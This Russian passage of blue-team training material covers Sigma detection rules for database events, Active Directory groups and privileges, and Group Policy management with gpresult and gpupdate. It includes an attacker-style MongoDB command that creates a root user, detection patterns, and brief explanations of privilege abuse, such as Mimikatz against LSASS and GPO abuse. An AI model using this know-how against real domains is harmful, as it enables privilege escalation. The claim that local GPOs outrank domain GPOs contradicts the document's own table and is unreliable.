logsource:
  product: postgresql
detection:
  selection1:
    crosstheme1.event: "connection authorized"
  selection2:
    crosstheme1.statement: "SELECT * FROM"
  timeframe: 1m # Временное окно для обнаружения двух последовательных событий (1 минута)
  condition: selection1 and selection2
fields:
  - user
  - event
  - statement
falsepositives:
  - Легитимные операции, произведенные аутентифицированными пользователями.
level: high

Пример в MongoDB 

Рассмотрим аналогичный пример для MongoDB.

Злоумышленник создает учетную запись с широкими правами:


use admin

db.createUser({
    user: "adminUser",
    pwd: "adminPassword",
    roles: [
        { role: "root", db: "admin" },
        { role: "readWriteAnyDatabase", db: "admin" },
        { role: "dbAdminAnyDatabase", db: "admin" },
        { role: "userAdminAnyDatabase", db: "admin" }
    ]
})

Пример правила Sigma, которое будет обнаруживать такое событие:


title: Обнаружение создания пользователя с широкими правами в MongoDB
id: mongodb_create_user_with_wide_privileges
status: experimental
description: Обнаружение события, когда создается пользователь с широкими правами в MongoDB.
author: [Your Name]
date: 2024-04-02
logsource:
  product: mongodb
detection:
  selection:
    crosstheme1.operation: CREATE_USER
    crosstheme1.roles: ["root", "readWriteAnyDatabase", "dbAdminAnyDatabase", "userAdminAnyDatabase"]
  condition: selection
fields:
  - user
  - roles
falsepositives:
  - Легитимные операции создания пользователей с широкими правами, произведенные администраторами.
level: high

Допустим, злоумышленник решил выбрать все возможные данные из БД. В логе это будет выглядеть так:

2024-04-02T12:34:56.789+0000 I COMMAND  [conn1234] command my_database.my_collection command: find { find: "my_collection", filter: {}, $db: "my_database" } planSummary: COLLSCAN keysExamined:0 docsExamined:10000 cursorExhausted:1 numYields:78 nreturned:10000 reslen:2687313 locks:{ Global: { acquireCount: { r: 158 } }, Database: { acquireCount: { r: 79 } }, Collection: { acquireCount: { r: 79 } } } protocol:op_msg 33ms

Пример правила Sigma, которое будет обнаруживать такое событие:


title: Обнаружение выбора всех данных из базы данных MongoDB
id: mongodb_select_all_data
status: experimental
description: Обнаружение события, когда пользователь выбирает все данные из базы данных MongoDB.
author: [Your Name]
date: 2024-04-03
logsource:
  product: mongodb
detection:
  selection:
    crosstheme1.command: "find"
    crosstheme1.docsExamined: { ">": 0 }
    crosstheme1.nreturned: { ">": 0 }
    crosstheme1.keysExamined: 0
    crosstheme1.cursorExhausted: 1
  condition: selection
fields:
  - user
  - database
  - collection
  - command
falsepositives:
  - Легитимные запросы, которые выбирают все данные из базы данных MongoDB.
level: high

 

 

Blue team

Группы и GPO

Права и Привилегии в Active Directory

Права обычно назначаются пользователям или группам и касаются разрешений на доступ к объекту, такому как файл, в то время как привилегии предоставляют пользователю разрешение выполнять действие, такое как запуск программы, выключение системы, сброс паролей и т.д. Привилегии могут быть назначены индивидуально пользователям или предоставлены им через членство во встроенных или пользовательских группах. У Windows есть концепция, называемая Назначением Прав Пользователю, которая, хотя и называется правами, фактически представляет собой виды привилегий, предоставляемых пользователю.

Встроенные группы в Active Directory

AD содержит множество групп безопасности по умолчанию или встроенных групп, некоторые из которых предоставляют своим членам мощные права и привилегии, которые могут быть использованы злоумышленниками для повышения привилегий в пределах домена и, в конечном итоге, получения привилегий Domain Admin или SYSTEM на контроллере домена.

Ниже приведены некоторые из наиболее распространенных встроенных групп:

Название группы Описание
Account Operators Члены могут создавать и изменять большинство типов учетных записей, включая пользователей, локальные группы и глобальные группы, и могут входить локально на контроллеры домена. Не могут управлять учетной записью администратора и другими группами.
Administrators Члены имеют полный и неограниченный доступ к компьютеру или всему домену, если они являются членами этой группы на контроллере домена.
Backup Operators Члены могут резервировать и восстанавливать все файлы на компьютере, независимо от установленных на них разрешений. Могут также входить в систему и выключать компьютер.
DnsAdmins Члены имеют доступ к сетевой информации DNS. Группа создается только при наличии или ранее установленной роли сервера DNS на контроллере домена.
Domain Admins Члены имеют полный доступ к администрированию домена и являются членами группы локальных администраторов на всех компьютерах, присоединенных к домену.
Domain Computers Все компьютеры, созданные в домене (за исключением контроллеров домена), добавляются в эту группу.
Domain Controllers Содержит все контроллеры домена в домене. Новые контроллеры домена автоматически добавляются в эту группу.
Domain Guests Включает в себя встроенную учетную запись Guest домена. Члены этой группы имеют профиль домена, созданный при входе на компьютер, присоединенный к домену, в качестве локального гостя.
Domain Users Содержит все учетные записи пользователей в домене. Новая учетная запись пользователя в домене автоматически добавляется в эту группу.

Enterprise Admins		 Членство в этой группе предоставляет полный доступ к конфигурации домена. Группа существует только в корневом домене леса AD. Члены группы имеют возможность вносить изменения, касающиеся всего леса.
Event Log Readers Члены могут читать журналы событий на локальных компьютерах. Группа создается только при повышении уровня хоста до контроллера домена.
Group Policy Creator Owners Члены создают, редактируют или удаляют объекты групповой политики в домене.
Hyper-V Administrators Члены имеют полный и неограниченный доступ ко всем функциям Hyper-V. Если в домене есть виртуальные контроллеры домена, любые администраторы виртуализации, такие как члены Hyper-V Administrators, должны рассматриваться как Domain Admins.
IIS_IUSRS Это встроенная группа, используемая службой Internet Information Services (IIS) начиная с версии IIS 7.0.
Pre–Windows 2000 Compatible Access Группа существует для обеспечения обратной совместимости с компьютерами, работающими под управлением Windows NT 4.0 и более ранних версий. Членство в этой группе часто представляет собой остаточную легаси-конфигурацию.
Print Operators Члены могут управлять, создавать, делиться и удалять принтеры, подключенные к контроллерам домена, а также любые объекты принтеров в AD. Могут входить локально на контроллеры домена и использоваться для загрузки вредоносного драйвера принтера и повышения привилегий в домене.
Protected Users Члены этой группы обеспечиваются дополнительной защитой от кражи учетных данных и тактик, таких как злоупотребление Kerberos.
Read-only Domain Controllers Содержит все контроллеры домена с привилегиями только для чтения в домене.
Remote Desktop Users Эта группа используется для предоставления пользователям и группам разрешения на подключение к хосту через удаленный рабочий стол (RDP). Эту группу нельзя переименовать, удалить или переместить.
Remote Management Users Эта группа может использоваться для предоставления пользователям удаленного доступа к компьютерам через Windows Remote Management (WinRM).
Schema Admins Члены могут модифицировать схему Active Directory, которая определяет все объекты в AD. Группа существует только в корневом домене леса AD. Администратор корневого домена леса является единственным членом этой группы по умолчанию.
Server Operators Эта группа существует только на контроллерах домена. Члены могут изменять службы, получать доступ к SMB-ресурсам и выполнять резервное копирование файлов на контроллерах домена. По умолчанию в этой группе нет членов.

Назначение прав пользователю

В зависимости от групп, в которых они состоят, и других факторов, таких как привилегии, назначаемые администраторами через Политику Группы (GPO), у пользователей могут быть разные права на свои учетные записи. В статье Microsoft о Назначении Прав Пользователю предоставляется подробное объяснение каждого права, которое может быть установлено в Windows. Некоторые могут привести к непреднамеренным последствиям, таким как повышение привилегий или доступ к чувствительным файлам. Допустим, мы получаем права на запись в объект Групповой политики (GPO), примененной к подразделению (OU) с одним или несколькими пользователями, которыми мы управляем. В этом случае мы можем использовать инструменты, такие как SharpGPOAbuse, чтобы назначить целевые права пользователю. Таким образом, мы можем расширить свой доступ в домен, выполняя различные действия с этими новыми правами. Например:

Привилегия Описание
SeRemoteInteractiveLogonRight Может предоставить целевой учетной записи право входа на хост через удаленный рабочий стол (RDP), что потенциально может быть использовано для получения чувствительных данных или повышения привилегий
SeBackupPrivilege Предоставляет пользователю возможность создавать резервные копии системы и может быть использована для получения копий чувствительных системных файлов, которые могут быть использованы для извлечения паролей, таких как файлы реестра SAM и SYSTEM и файл базы данных Active Directory NTDS.dit.
SeDebugPrivilege Позволяет пользователю отлаживать и настраивать память процесса. С этой привилегией атакующие могут использовать инструменты, такие как Mimikatz, для чтения области памяти процесса Local System Authority (LSASS) и получения любых учетных данных, хранящихся в памяти.
SeImpersonatePrivilege Позволяет поддельно представлять токен привилегированной учетной записи, такой как NT AUTHORITY\SYSTEM. Это может быть использовано с инструментами, такими как JuicyPotato, RogueWinRM, PrintSpoofer и др. для повышения привилегий на целевой системе.
SeLoadDriverPrivilege Пользователь с этой привилегией может загружать и выгружать драйверы устройств, которые могут быть использованы для повышения привилегий или компрометации системы.
SeTakeOwnershipPrivilege Позволяет процессу завладеть объектом. На самом простом уровне мы можем использовать эту привилегию, чтобы получить доступ к общей папке или файлу на общей папке, к которым у нас иначе не было бы доступа.

Просмотр привилегий пользователя

После входа на хост, введение команды whoami /priv предоставит нам список всех назначенных пользовательских прав. Некоторые права доступны только для административных пользователей и могут быть перечислены/использованы только при выполнении повышенной сессии CMD или PowerShell. Понятия повышенных прав и Контроля учетных записей пользователя (User Account Control, UAC) являются функциями безопасности, введенными в Windows Vista, которые по умолчанию ограничивают приложения в выполнении с полными разрешениями, если это абсолютно необходимо. Если мы сравним и контрастируем права, доступные нам в качестве администратора в консоли без повышения привилегий и в консоли с повышенными привилегиями, мы увидим, что они существенно отличаются. 

 

Групповые политики

Group Policy (Групповая политика) — это функция Windows, предоставляющая администраторам широкий набор настроек, которые могут применяться как к учетным записям пользователей, так и к компьютерам в среде Windows. У каждого хоста Windows есть редактор локальной групповой политики для управления локальными настройками.

С точки зрения безопасности использование групповых политик — это один из лучших способов влияния на уровень безопасности организации. Active Directory, безусловно, не обладает достаточной безопасностью "из коробки", и групповые политики являются ключевой частью стратегии защиты.

Объекты групповой политики (GPO)

Объект групповой политики (Group Policy Objects) — это виртуальная коллекция параметров политики, которые можно применять к пользователям или компьютерам. GPO включают в себя такие политики, как тайм-аут блокировки экрана, отключение USB-портов, применение политики паролей собственного домена, установку программного обеспечения, управление приложениями, настройку параметров удаленного доступа и многое другое. Каждый объект групповой политики имеет уникальное имя и уникальный идентификатор (GUID). Их можно связать с конкретным доменом или сайтом. Один объект групповой политики может быть связан с несколькими контейнерами, и к любому контейнеру может быть применено несколько объектов групповой политики. Их можно применять к отдельным пользователям, хостам или группам путем применения непосредственно к подразделению. Каждый объект групповой политики содержит один или несколько параметров групповой политики, которые могут применяться на уровне локального компьютера или в контексте Active Directory.

Примеры объектов групповой политики

Вот некоторые примеры того, что мы можем сделать с объектами групповой политики:

Давайте возьмем в качестве примера реализацию Active Directory в Windows Server 2008 по умолчанию, сложность пароля применяется по умолчанию. Требования к сложности пароля следующие:

Это всего лишь несколько примеров того, что можно сделать с помощью групповой политики. В объекте групповой политики можно применять сотни настроек, которые могут быть очень детализированными. Например, ниже приведены некоторые параметры, которые мы можем установить для сеансов удаленного рабочего стола:

Настройки объекта групповой политики обрабатываются с использованием иерархической структуры AD и применяются с использованием правила порядка старшинства, как показано в таблице ниже:

Уровень Описание
Local Group Policy Политики определяются непосредственно на хосте локально за пределами домена. Любая настройка здесь будет перезаписана, если аналогичная настройка определена на более высоком уровне.
Site Policy Любые политики, специфичные для физической локации, в которой находится хост. Организации могут охватывать большие кампусы и даже страны, поэтому само собой разумеется, что у локации могут быть свои собственные политики, которые могут отличаться от остальной части организации (например, для центрального офиса и филиалов).
Domain-wide Policy Любые настройки, которые применяются ко всему домену в целом. Например, установка уровня сложности политики паролей, настройка фона рабочего стола для всех пользователей и установка баннера «Уведомление об использовании и согласие на мониторинг» на экране входа в систему.

Organisational Unit (Подразделение, OU)

 Эти параметры будут влиять на пользователей и компьютеры, принадлежащие определенным подразделениям. Например, доступ к определенному общему диску, доступ к которому может получить только отдел кадров, доступ к определенным ресурсам, таким как принтеры, или возможность ИТ-администраторам использовать PowerShell и командную строку.
Любые политики подразделения (OU), вложенные в другие подразделения (OU) Включают в себя специальные разрешения для объектов внутри вложенных подразделений. Например, предоставление аналитикам безопасности определенного набора параметров политики Applocker, которые отличаются от стандартных параметров IT Applocker.

На изображении ниже показан пример нескольких объектов групповой политики, связанных с подразделением Corp. Если с подразделением связано более одного объекта групповой политики, они обрабатываются на основе порядка связывания (Link Order). Объект групповой политики с наименьшим порядком обрабатывается последним, либо объект групповой политики с порядком 1 имеет наивысший приоритет, затем 2, 3 и т. д. Таким образом, в нашем примере выше объект групповой политики Disallow LM Hash будет иметь приоритет над объектами групповой политики Block Removable Media и Disable Guest Account, то есть он будет обработан первым.

Можно указать параметр «Принудительно», чтобы применить настройки в конкретном объекте групповой политики. Если этот параметр установлен, параметры политики в объектах групповой политики, связанных с подразделениями нижнего уровня, не могут переопределить (override) эти параметры. Если объект групповой политики установлен на уровне домена с выбранным параметром «Принудительно», параметры, содержащиеся в этом объекте групповой политики, будут применены ко всем подразделениям в домене и не могут быть переопределены политиками подразделений более низкого уровня. Раньше этот параметр назывался «No Override» и устанавливался для соответствующего контейнера в разделе «Пользователи и компьютеры Active Directory» (Users and Computers). Ниже мы можем увидеть пример принудительного объекта групповой политики, где объект групповой политики Logon Banner имеет приоритет над объектами групповой политики, связанными с нижними подразделениями, и поэтому не будет переопределен.

Принудительный приоритет политики объекта групповой политики:

Независимо от того, для какого объекта групповой политики установлено принудительное применение, если применяется объект групповой политики доменной политики по умолчанию, он будет иметь приоритет над всеми объектами групповой политики на всех уровнях.

Переопределение политики домена по умолчанию

Также можно установить параметр Block inheritance (блокировать наследование) для подразделения. Если это указано для конкретного подразделения, то политики более высокого уровня (например, на уровне домена) не будут применяться к этому подразделению. Если установлены оба параметра, параметр No Override имеет приоритет над параметром Block inheritance. Например, подразделение Computers наследует объекты групповой политики, установленные в подразделении Corp, как показано на рисунке ниже:

Если выбран параметр Block inheritance, мы увидим, что три объекта групповой политики, примененные выше к подразделению Corp, больше не применяются к подразделению Computers:

Значимость GPO в системном администрировании

GPO (Group Policy Object) — это мощный инструмент управления настройками безопасности в сетевых средах, который позволяет администраторам контролировать рабочие станции и серверы в рамках целой организации. Для членов Blue Team знание GPO особенно важно, так как это позволяет повысить уровень безопасности IT-инфраструктуры, применяя единую политику конфигураций, безопасности и управления.

Важность GPO в управлении безопасностью сетевых систем

GPO — это набор настроек, который создается в административном шаблоне и применяется к объектам Active Directory, таким как пользователи, группы, компьютеры и папки. Эти политики позволяют автоматизировать и стандартизировать конфигурационные и безопасностные настройки, управлять установкой программного обеспечения, обновлением паролей, ограничениями доступа и другими важными аспектами IT-систем.

Назначение Group Policy Objects в Windows

Локальные GPO (Local Group Policy Objects)

Локальные GPO применяются к конкретному компьютеру и хранятся локально на этом компьютере. Они могут быть настроены непосредственно на самом компьютере без необходимости подключения к сети или домену. Обычно они используются для установки базовых настроек безопасности или конфигурации на отдельных компьютерах, например, для ограничения доступа к определенным ресурсам или приложениям. Их можно настроить через локальный Group Policy Editor (gpedit.msc).

Сетевые GPO (Network Group Policy Objects)

Сетевые GPO хранятся на контроллерах домена и применяются к объектам в Active Directory, таким как пользователи, компьютеры или группы. Они позволяют централизованно управлять настройками безопасности и конфигурацией для всех объектов в сети, которые являются частью домена. Сетевые GPO могут быть применены к организационным единицам (Organizational Units, OU), группам или пользователям. Они могут настраиваться через Group Policy Management Console (GPMC), доступный на контроллерах домена. Применение сетевых GPO особенно полезно в средних и крупных сетях, где требуется централизованное управление настройками и безопасностью на всех устройствах и для всех пользователей.

Иерархия GPO обычно основывается на принципе "наследования". Это означает, что настройки из сетевых GPO могут наследоваться от более общих к более конкретным уровням Active Directory, таким как домен, организационная единица (OU), группа и пользователь. Локальные GPO имеют более высокий приоритет применения, чем сетевые GPO, поскольку они применяются непосредственно к конкретному компьютеру.

Обзор GPO и Group Policy Management Console (GPMC)

GPO, GPMC и RSoP

Создание и управление GPO с использованием Group Policy Management Console (GPMC)

GPMC предлагает графический интерфейс для создания, редактирования и удаления GPO. Этот инструмент интегрируется с Active Directory и позволяет администраторам назначать политики на уровне доменов, сайтов и отдельных организационных единиц.

Создание GPO через GPMC

Создание нового GPO в GPMC просто:


Редактирование GPO

Для редактирования существующего GPO, щелкните по нему правой кнопкой мыши и выберите "Изменить", после чего откроется редактор политик, где можно настроить необходимые параметры в разделах "Конфигурация компьютера" и "Конфигурация пользователя".


Управление GPO 

С помощью GPMC можно также управлять связями GPO, задавать фильтры безопасности для контроля применения политик к определенным пользователям или группам, а также использовать WMI-фильтры для более гранулированного применения политик на основе атрибутов компьютера.

Безопасная настройка для AD и Windows Server

В предыдущих темах мы рассматривали CIS Benchmarks — эти рекомендации также существуют и для GPO. В этом разделе мы рассмотрим, как реализовать набор сборки CIS L1 на домене Server 2019.

CIS Benchmark для GPO включает в себя матрицу:

Мы будем использовать 3 GPO:

В Server 2019 откройте консоль управления групповыми политиками (GPMC) и создайте новый объект групповой политики. Дадим ему то же самое имя, что и стандарт CIS:

Затем щелкните правой кнопкой мыши на созданной GPO и выберите "Import Settings" (Импортировать настройки), это запустит мастер импорта настроек.

Вас попросят создать резервную копию существующей GPO, это можно пропустить, поскольку это новая GPO. Но если бы это была существующая GPO, рекомендуется выполнить резервное копирование, так как все настройки будут перезаписаны, и резервную копию можно будет использовать в случае, если нужно будет выполнить откат настроек.

Затем вам будет предложено указать путь к папке "резервной копии" для импорта настроек. На первый взгляд этот шаг может показаться немного запутанным, так как предыдущий экран был о резервных копиях. На самом деле это путь к GPO комплекту сборки CIS, который нам нужно указать для импорта в нашу новую GPO. Ниже мы выбираем путь к нашей папке USER-L1:

На следующем экране вы получите подтверждение найденной GPO:

Подтвердите настройки:

Связывание GPO

Сейчас импортированные GPO не связаны с какими-либо организационными единицами (OU) в Active Directory и не активны.

Для связывания GPO нажмите правой кнопкой мыши на OU домена (или на той OU, с которой вы хотите связать GPO) и выберите "Link an existing GPO" (Связать существующий GPO).

Выберите GPO:

Эти GPO затем появятся под выбранной вами ранее OU:

Теперь GPO активны и должны распространяться на все системы в вашем домене Active Directory.

Тестирование

На тестовом рабочем месте, включенном в домен, запустите команду gpresult для проверки применения GPO (далее мы подробнее рассмотрим gpresult).

PS C:\Windows\system32> gpresult /H c:\gpreport.htm

Посмотрите html-файл и убедитесь, что настройки GPO применились (столбец Winning GPO):

Вы также можете проверить локальный редактор групповых политик (gpedit.msc), чтобы вручную проверить настройки:

Безопасность объектов групповой политики

Как упоминалось ранее, объекты групповой политики могут использоваться для проведения атак. Эти атаки могут включать добавление дополнительных прав к учетной записи пользователя, добавление локального администратора на хост или создание немедленного запланированного задания для запуска вредоносной команды, такой как изменение членства в группе, добавление новой учетной записи администратора, установка обратной оболочки. соединение или даже установку целевого вредоносного ПО по всему домену. Эти атаки обычно происходят, когда у пользователя есть права, необходимые для изменения объекта групповой политики, который применяется к подразделению, содержащему либо учетную запись пользователя, которую мы контролируем, либо компьютер.

Ниже приведен пример пути атаки на GPO с помощью инструмента BloodHound. В данном примере группа Domain Users может изменять объект групповой политики Disconnect Idle RDP из-за членства в вложенной группе. Далее мы можем посмотреть, к каким подразделениям применяется этот объект групповой политики, и сможем ли мы использовать эти права для получения контроля над администратором или администратором домена или компьютером (сервером, контроллером домена или критически важным хостом) и двигаться дальше, чтобы повысить привилегии внутри домена:

Просмотр применения GPO

После того как мы изучили основы GPO и их управления с помощью GPMC, перейдем к просмотру и проверке применения этих групповых политик на конкретные объекты и системы.

Введение в RSoP: графический интерфейс и команда из командной строки

Результативная политика (Resultant Set Of Policy, RSoP):

Использование команды gpresult 

gpresult — это командная утилита, которая показывает RSoP данных для локального или удаленного компьютера и пользователей. Основные параметры команды включают:

Parameter Description
/s <system> Для обозначения имени или IP-адреса удаленного хоста, используется без указания маски. Значение по умолчанию - локальный хост.
/u <username> Для использования определенной УЗ для выполнения команды. Значение по умолчанию - текущий пользователь.
/p [<password>] Для использования определенного пароля для УЗ, определенной в параметре /u. Если использовать /u без /p, gpresult запросит пароль. Параметр нельзя использовать с /x или /h.
/user [<targetdomain>\]<targetuser>] Определяет пользователя, чьи RSoP данные нужно вывести.
/scope {user | computer} Выводит данные RSoP либо для пользователя, либо для компьютера. Если /scope не используется, то gpresult выводит данные RSoP и для пользователя, и для компьютера вместе.
[/x | /h] <filename> Для создания детального HTML или XML-отчета. Не может использоваться с /u, /p, /r, /v, or /z.
/f Для перезаписи имени файла, которое используется при создании отчета с помощью /x или /h.
/r Выводит суммированные данные RSoP.
/v Отображает подробную информацию о политике.
/z Отображает всю возможную информацию о групповой политике.
/? Для вывода помощи.

Пример использования gpresult 

PS C:\Windows\system32> gpresult /H c:\GPReport.html

Команда gpresult /H GPReport.html используется для создания отчета о результатах применения групповых политик (Group Policy Results Report) в формате HTML. Она позволяет получить подробную информацию о том, какие групповые политики были применены к конкретному пользователю или компьютеру в сети.

После выполнения этой команды будет создан файл с именем "GPReport.html", который содержит подробный отчет о результатах применения групповых политик. В этом отчете вы найдете информацию о примененных политиках, их источниках, примененных параметрах и другие связанные с ними данные.

Этот отчет может быть полезен для отладки проблем с применением групповых политик, а также для проверки правильности конфигурации политик на конкретном компьютере или пользователе. Он позволяет администраторам подробно анализировать, какие политики были успешно применены, а какие не удалось применить, и выявлять возможные проблемы.

Отчет GPReport.html содержит следующую информацию:

  1. Общая информация:

    • Имя пользователя и имя компьютера.
    • Дата и время создания отчета.

  2. Сводка результатов применения групповых политик:

    • Общее количество примененных групповых политик.
    • Список успешно примененных политик.
    • Список неудачных попыток применения политик.

  3. Подробная информация о примененных групповых политиках:

    • Имя и описание каждой примененной политики.
    • Источник (локальный GPO, сетевой GPO и т. д.).
    • Состояние применения (успешно, неудачно и т. д.).
    • Список параметров и их значений, примененных в рамках каждой политики.

  4. Информация о контексте применения политик:

    • Пользователи и группы, к которым применялись политики.
    • Список компьютеров, к которым применялись политики.

  5. Дополнительная информация:

    • Логи и ошибки, связанные с применением групповых политик.

GPUpdate и принудительное обновление политик

Команда gpupdate (Group Policy Update) используется для обновления групповых политик на компьютере или пользователе. Она запускает процесс обновления настроек групповых политик с сервера домена или локального хранилища групповых политик.

Вот основные задачи и цели команды gpupdate:

  1. Применение изменений групповых политик: когда администратор вносит изменения в групповые политики в Active Directory, они не сразу применяются на клиентских компьютерах. Команда gpupdate позволяет немедленно обновить настройки групповых политик на компьютере или пользователе, чтобы применить изменения.

  2. Решение проблем с настройками: иногда возникают ситуации, когда изменения в групповых политиках не применяются корректно на клиентских компьютерах. Запуск gpupdate может помочь в решении таких проблем путем принудительного обновления политик с помощью ключа /force.

  3. Отладка и тестирование: во время разработки и тестирования групповых политик администраторы могут использовать gpupdate, чтобы немедленно применить изменения и убедиться, что они работают ожидаемым образом.

  4. Синхронизация настроек с доменом: когда компьютер или пользователь подключаются к домену, они получают групповые политики с контроллера домена. gpupdate обновляет эти настройки, чтобы убедиться, что они соответствуют текущему состоянию в домене.

  5. Синхронизация настроек с локальным хранилищем: Для компьютеров, работающих в автономном режиме или в отсутствие подключения к домену, gpupdate обновляет настройки с локального хранилища групповых политик.

Просмотр событий GPO в журнале событий Windows (eventvwr.msc)

Event Viewer Microsoft Management Console (MMC, eventvwr.msc) — консоль просмотра событий Windows. Это инструмент в операционной системе Windows, который позволяет администраторам просматривать, анализировать и управлять журналами событий компьютера.

Чтобы открыть eventvwr.msc и найти журналы, связанные с Group Policy, выполните следующие шаги:

  1. Откройте Консоль просмотра событий:

    • Нажмите Win + R для открытия диалогового окна "Выполнить".
    • Введите eventvwr.msc.
    • Или щелкните правой кнопкой мыши на кнопке Пуск и выберите "Консоль просмотра событий".

  2. Найдите журналы, связанные с Group Policy:

    • В левой панели Консоли просмотра событий откройте раздел "Журналы Windows".
    • Разверните раздел "Журналы Windows", чтобы увидеть список доступных журналов.
    • Журналы, связанные с Group Policy, обычно находятся в разделе "Приложение" или "Система".

  3. Анализируйте журналы событий Group Policy:

    • Чтобы найти события, связанные с Group Policy, щелкните на соответствующем журнале (например, "Приложение").
    • Используйте фильтры или поиск, чтобы отфильтровать события, связанные с Group Policy. Обычно в журнале будут присутствовать события с источником "Group Policy" или "GroupPolicy".

  4. Проанализируйте события и сообщения:

    • Просмотрите события, чтобы понять, какие политики были применены, успешно или с ошибками.
    • Изучите сообщения об ошибках или предупреждениях, чтобы выявить проблемы с применением Group Policy на компьютере или в сети.

Команды для мониторинга и отладки GPO

Использование gpresult для создания отчета о примененных политиках с сохранением в HTML файл

Чтобы создать отчет о примененных групповых политиках (Group Policy Objects, GPO) для пользователя или компьютера и сохранить его в HTML-файл, используется инструмент командной строки gpresult. Для работы с gpresult необходимо иметь права администратора на локальной машине или в домене, а также работать на компьютере на базе Windows.

Вот как может выглядеть использование gpresult:

1. Откройте командную строку с правами администратора. 

2. Введите следующую команду для создания отчета для текущего пользователя и его компьютера:

PS C:\Windows\system32> gpresult /H GPReport.html

Эта команда выполнит анализ примененных групповых политик и сохранит результат в файл GPReport.html в текущей директории.

3. Если хотите создать отчет только для компьютера или только для пользователя, используйте ключ /SCOPE, например:

   - для компьютера:

PS C:\Windows\system32> gpresult /SCOPE COMPUTER /H GPReport_Computer.html

   - для пользователя:

PS C:\Windows\system32> gpresult /SCOPE USER /H GPReport_User.html

  
4. По умолчанию отчет будет создан для текущего пользователя. Если необходимо создать отчет для другого пользователя, используйте ключ /USER, например:

PS C:\Windows\system32> gpresult /USER имя_пользователя /H GPReport_OtherUser.html

Замените "имя_пользователя" на фактическое имя пользователя, для которого нужно сгенерировать отчет.

Открыть созданный HTML-файл можно в любом веб-браузере, чтобы проанализировать результаты.

Принудительное обновление политик черед gpupdate, и как это помогает при их неправильном применении

Одним из ключевых навыков является использование команды gpupdate, которая позволяет принудительно инициировать процесс обновления групповых политик. Это бывает полезно в ситуациях, когда изменения в политиках не применяются как ожидалось, и вам нужно вручную запустить процесс обновления, чтобы убедиться, что последние изменения были корректно распространены на пользователей и компьютеры в сети.

Вот основы, которые можно рассмотреть:

1. Для выполнения команды gpupdate откройте командную строку. Можно использовать "Командную строку" или "Windows PowerShell".

2. Введите команду:

PS C:\Windows\system32> gpupdate

   
Это приведет к обновлению политик как для пользователя, так и для компьютера. По умолчанию gpupdate обновляет все политики, если какие-то политики были изменены, они будут применены с этой командой.

3. Если вы хотите обновить только пользовательские или только компьютерные политики, используйте следующие команды:

Для пользовательских политик:

PS C:\Windows\system32> gpupdate /target:user

Для компьютерных политик:

PS C:\Windows\system32> gpupdate /target:computer

4. Иногда может быть необходимо принудительно переприменить все связанные политики без учета их последнего времени обновления, для этого используйте ключ /force:

PS C:\Windows\system32> gpupdate gpupdate /force

5. После запуска gpupdate система может потребовать перезагрузку или выход пользователя из системы, если некоторые политики не могут быть обновлены на лету. В этом случае будет предоставлен запрос с выбором выполнения этого действия сразу или отложить его на более удобное время.

Использование gpupdate помогает решать проблемы с политиками, которые не применялись должным образом, путем их принудительного обновления, что позволяет администраторам быстро реагировать на изменения в конфигурации без ожидания следующего цикла автоматического обновления политик, и проверять результаты изменений в реальном времени.

Частота обновления групповой политики

При создании нового объекта групповой политики параметры не применяются автоматически сразу. Windows выполняет периодические обновления групповой политики, которые по умолчанию выполняются каждые 90 минут со случайным смещением +/- 30 минут для пользователей и компьютеров. По умолчанию период обновления контроллеров домена составляет всего 5 минут. При создании и связывании нового объекта групповой политики может пройти до 2 часов (120 минут), прежде чем настройки вступят в силу. Это случайное смещение +/- 30 минут установлено, чтобы избежать перегрузки контроллеров домена, поскольку все клиенты одновременно запрашивают групповую политику у контроллера домена.

Можно изменить интервал обновления по умолчанию в самой групповой политике. Кроме того, мы можем ввести команду gpupdate /force, чтобы запустить процесс обновления. Эта команда сравнит объекты групповой политики, применяемые в настоящее время на компьютере, с контроллером домена и либо изменит, либо пропустит их в зависимости от того, изменились ли они с момента последнего автоматического обновления.

Мы можем изменить интервал обновления с помощью групповой политики, открыв Computer Configuration -> Policies -> Administrative Templates -> System -> Group Policy и выбрав Set Group Policy refresh interval for computers.

Стоит отметить, что хоть интервал и можно изменить, его не следует настраивать слишком часто, иначе это может вызвать перегрузку сети, что приведет к проблемам репликации.

Анализ и устранение неполадок

Проверка Журнала Событий на наличие ошибок GPO

Важным навыком является проверка Журнала событий (Event Viewer) на предмет ошибок, связанных с GPO.
Журнал событий Windows содержит записи о всех важных событиях системы, включая ошибки, предупреждения и информационные сообщения от различных служб и компонентов операционной системы, в том числе и связанные с групповыми политиками.

К примеру у нас есть некий список, что нужно для устранения:

  1. Проверьте подробности события: Используйте Журнал событий для поиска ошибок, связанных с Group Policy. Обратите внимание на ID события, уровень серьезности, сообщение об ошибке и любые предлагаемые действия или коды.
  2. Проверка связи с доменным контроллером: Убедитесь, что компьютер может связываться с доменным контроллером. Используйте ping, nslookup, и другие сетевые утилиты для диагностики проблем с сетью.
  3. Фильтрация GPO: Проверьте, нет ли настроек фильтрации на ваши групповые политики, которые могут исключать определенные объекты из области их действия. Убедитесь, что WMI-фильтры и целевая выборка работают корректно и не ограничивают применение GPO.
  4. Проверка разрешений GPO: Проверьте, имеют ли учетные записи пользователей или компьютеров соответствующие разрешения для применения групповой политики. Необходимыми разрешениями обычно являются "Прочитать" и "Применить групповую политику".
  5. Конфликтующие и перезаписывающие настройки: Рассмотрите возможность того, что одна политика перезаписывает другую. Используйте инструменты моделирования и планирования Group Policy Management Console (GPMC) для анализа результата применения политик.
  6. Восстановление синхронизации: Иногда GPO могут не применяться из-за проблем с репликацией или синхронизацией. Убедитесь, что все доменные контроллеры синхронизированы и актуальны.
  7. Просмотр журналов на стороне сервера: П​олезно проверить журналы на доменном контроллере, чтобы увидеть, возникали ли там ошибки, которые могли повлиять на распространение политик.
  8. Обновление шаблонов административных шаблонов (ADM/ADMX): Устаревшие или поврежденные файлы шаблонов могут вызвать проблемы с применением политик. Проверьте, что используются актуальные версии ADM/ADMX-файлов.
  9. Проверка наличия последних обновлений: Убедитесь, что на клиентских компьютерах и доменных контроллерах установлены последние обновления операционной системы, поскольку в них могут содержаться патчи для известных проблем с GPO.

Набор инструментов для обеспечения соответствия требованиям безопасности и базовые параметры

Microsoft Security Compliance Toolkit (MSCT) — это набор инструментов и руководств, предоставляемых Microsoft для помощи организациям в обеспечении безопасности и соответствия в их информационных системах, особенно в операционных системах Windows.

В рамках Microsoft Security Compliance Toolkit доступны следующие ресурсы:

